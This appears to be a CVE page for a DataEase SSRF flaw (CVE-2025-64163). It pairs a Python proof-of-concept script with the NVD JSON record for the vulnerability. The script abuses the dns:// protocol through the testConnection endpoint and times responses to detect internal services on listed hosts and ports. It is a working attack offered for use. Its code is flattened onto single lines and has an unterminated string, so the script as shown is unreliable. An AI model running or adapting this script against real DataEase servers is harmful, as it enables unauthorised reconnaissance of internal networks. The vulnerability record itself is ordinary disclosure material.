CVE-2025-64163

import requests import time # CVE-2025-64163 DataEase SSRF via dns:// protocol # Target: DataEase <= v2.10.14 # This PoC demonstrates DNS-based SSRF to detect internal services TARGET_URL = "http://target-server/dataease/api def check_internal_service(host, port): """ Detect internal service by measuring DNS query time If service is running, DNS query will respond faster """ # Construct malicious DNS request pointing to internal host dns_payload = f"dns://{host}:{port}" # DataEase data source configuration endpoint endpoint = f"{TARGET_URL}/dataSource/testConnection" payload = { "name": "Malicious Datasource", "type": "api", "url": dns_payload, "method": "GET" } try: start_time = time.time() response = requests.post(endpoint, json=payload, timeout=10) elapsed = time.time() - start_time print(f"[*] Target: {dns_payload}") print(f"[*] Response Time: {elapsed:.3f}s") print(f"[*] Status Code: {response.status_code}") # Shorter response time indicates service availability if elapsed < 2.0: print(f"[+] Internal service detected at {host}:{port}") return True except Exception as e: print(f"[-] Error: {e}") return False # Example: Check common internal services if __name__ == "__main__": internal_hosts = [ ("127.0.0.1", 3306), # MySQL ("127.0.0.1", 5432), # PostgreSQL ("127.0.0.1", 6379), # Redis ("192.168.1.100", 8080) # Internal API ] for host, port in internal_hosts: check_internal_service(host, port)

{"cve": {"id": "CVE-2025-64163", "sourceIdentifier": "[email protected]", "published": "2025-11-06T00:15:38.150", "lastModified": "2025-11-07T18:06:36.263", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DataEase is an open source data visualization analysis tool. In versions 2.10.14 and below, the vendor added a blacklist to filter ldap:// and ldaps://. However, omission of protection for the dns:// protocol results in an SSRF vulnerability. This issue is fixed in version 2.10.15."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dataease:dataease:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.10.15", "matchCriteriaId": "CC192D27-0997-44D7-8148-BA20A7DA5707"}]}]}], "references": [{"url": "https://github.com/dataease/dataease/commit/869b7fb8b10069ac6c326554bfa8f060a539ba85", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/dataease/dataease/releases/tag/v2.10.15", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/dataease/dataease/security/advisories/GHSA-8397-v66p-539m", "source": "[email protected]", "tags": ["Exploit", "Patch", "Third Party Advisory"]}]}}